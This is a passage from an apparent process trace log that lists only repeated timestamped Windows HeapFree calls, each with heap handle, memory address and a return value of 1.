lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0185.370] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0185.372] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.377] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0185.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0185.380] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.383] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.388] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.393] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0185.393] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.395] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0185.395] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0185.395] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.505] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0185.505] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0185.509] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.513] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.513] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.513] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0185.516] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.516] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0185.516] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0185.519] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0185.522] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0185.525] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0185.525] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0185.529] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0185.534] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.535] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0185.535] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0185.535] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0185.781] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0185.781] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0186.481] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0186.482] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0186.482] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0186.562] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0187.704] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0188.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.257] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.257] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.257] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.257] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.257] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.257] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.257] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.257] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.258] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.258] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.258] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.258] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.258] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.258] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.258] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.258] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.261] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.261] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.261] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.261] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.261] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.265] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.265] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0188.273] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0188.279] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0188.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0188.548] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0188.559] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0188.571] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0188.581] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0188.583] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0188.591] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0188.591] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0188.592] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0188.592] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0188.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0188.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0188.891] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0188.891] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0188.894] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0188.895] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0188.896] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0188.972] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0189.018] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0189.018] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0189.247] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0189.250] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0189.250] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0189.251] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0189.251] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0189.251] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0189.255] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0189.255] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0191.503] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0191.503] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.191] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.191] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0192.194] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0192.194] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0192.199] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.199] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0192.207] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.207] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0192.207] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.208] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0192.208] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0192.208] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0192.210] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0192.210] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0192.210] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0192.215] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0192.217] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0192.217] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0192.219] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0192.221] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0192.223] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.224] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0192.224] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.224] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0192.224] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0192.225] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.225] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0192.226] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0192.234] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0192.234] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0192.235] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.518] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0192.518] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0192.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0192.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.798] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.798] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.798] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.798] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.798] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.799] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.799] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.799] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.799] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.799] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.800] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.800] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.800] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.800] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.800] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.801] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.801] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.801] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.802] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.802] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.802] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.803] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.803] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.803] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.804] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.804] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.804] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.804] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.804] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.805] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.805] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.805] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.805] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.806] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.806] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.806] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.806] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.806] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.807] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.807] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.807] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.807] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.807] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.807] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0192.808] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.808] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.808] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.808] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.808] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0192.809] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.809] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.809] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0192.811] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.811] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0192.811] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0192.811] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.811] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.811] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0192.811] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.814] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.814] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0192.815] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.815] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.816] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.816] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0192.816] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0192.821] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.824] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.825] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.825] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.825] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.826] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.827] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.827] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.828] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.828] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.830] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.831] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.831] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.834] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0193.063] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0193.064] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0193.064] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 